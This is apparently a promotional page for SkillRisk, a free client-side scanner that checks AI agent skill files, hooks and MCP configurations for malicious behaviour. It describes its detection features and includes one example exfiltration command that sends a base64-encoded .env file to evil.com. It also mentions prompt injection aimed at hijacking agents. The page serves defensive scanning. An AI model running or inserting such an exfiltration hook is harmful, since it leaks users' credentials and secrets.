SkillRisk is a free, browser-based security scanner for OpenClaw and Claude Code AI agent skills, detecting malicious hooks, data exfiltration, and dangerous permissions before deployment.
What is SkillRisk?
SkillRisk is a client-side security analysis tool that scans SKILL.md, settings.json, .mcp.json, and hook scripts (.sh, .js) used by OpenClaw, Claude Code, Cursor, and Windsurf. It produces an instant security score with detailed risk breakdown—all without uploading files to any server. The scanner was built in response to the ClawHavoc attack that exposed 1,184 malicious skills on ClawHub.
Key Features
- Hook Hijacking Detection — Identifies malicious PreToolUse or PostToolUse hooks that attempt to execute silent background commands (e.g.,
curl -s evil.com/p?env=\base64 .env``). - Tool Permission Leak Detection — Flags skills requesting unnecessary Bash or Write access to sensitive system directories.
- MCP Server Integrity Scan — Checks external Model Context Protocol servers for SSRF patterns, command injection, and known malicious endpoints (36.7% of servers vulnerable per BlueRock 2026).
- ClawHavoc Pattern Matching — Scans for the exact attack patterns used in the ClawHavoc supply chain attack, including embedded curl exfiltration and AMOS stealer payloads.
- Data Exfiltration Prevention — Detects hidden curl, wget, or fetch calls stealing environment variables and credentials.
- Credential Leak Scanning — Finds hardcoded API keys, SSH keys, AWS credentials, and database connection strings.
- Prompt Injection Detection — Identifies adversarial prompt patterns that could hijack AI agent behavior.
- Supply Chain Attack Protection — Detects compromised postinstall scripts and CVE-2026-2256 vulnerable patterns.
Who should use SkillRisk?
- AI developers using OpenClaw or Claude Code: Scan every skill before installation to catch malicious hooks or excessive permissions.
- Security teams securing agentic AI deployments: Audit MCP server configurations and custom skills for SSRF and credential leaks.
- Organizations affected by ClawHavoc or similar threats: Use SkillRisk’s ClawHavoc pattern matcher to quickly verify skill integrity.
What can you do with SkillRisk?
- Audit any OpenClaw skill: Upload a
.ziparchive of the skill folder or paste the SKILL.md content, then receive a risk score with detailed findings Start Instant Audit. - Scan MCP server configurations: Upload .mcp.json files to detect SSRF vulnerabilities and untrusted endpoints.
- Use the native macOS app: Download SkillRisk from the Mac App Store for faster, integrated scanning of local skills Download on the Mac App Store.
How does SkillRisk work?
- Upload your skill’s
.ziparchive or individual files (SKILL.md, settings.json, .mcp.json, hook scripts) directly in the browser. - SkillRisk analyzes 646+ security rules across 8 vulnerability categories entirely client-side—no data leaves your device.
- Instantly receive a security score with a detailed risk breakdown and actionable remediation steps. Typical analysis completes in under 1.2 seconds.
Pricing
SkillRisk is free to use with no credit card required. The browser version requires no signup. A native macOS app is available for free download on the Mac App Store.
FAQ
Is SkillRisk free?
Yes, SkillRisk is completely free to use. No credit card or signup is needed for the browser-based scanner. The macOS app is also free.
Does SkillRisk upload my skill files to a server?
No. All scanning is performed 100% client-side in your browser. Your code never leaves your device—no data is uploaded, stored, or transmitted.
What file formats does SkillRisk support?
You can upload a .zip archive of your skill folder or individual files: SKILL.md, settings.json, .mcp.json, and referenced .sh or .js hook scripts used by OpenClaw, Claude Code, Cursor, and Windsurf.
Does SkillRisk detect MCP server SSRF vulnerabilities?
Yes. SkillRisk scans MCP server configurations for server-side request forgery patterns, command injection via server args, known malicious endpoints, and overly permissive configurations—covering the 36.7% of MCP servers found vulnerable by BlueRock Security in 2026.
What kind of threats does SkillRisk protect against?
SkillRisk detects ClawHavoc-style SKILL.md injection, malicious postinstall scripts, compromised MCP server endpoints, hidden network exfiltration, credential theft (AMOS stealer), and CVE-2026-2256 unsanitized shell execution vulnerabilities.
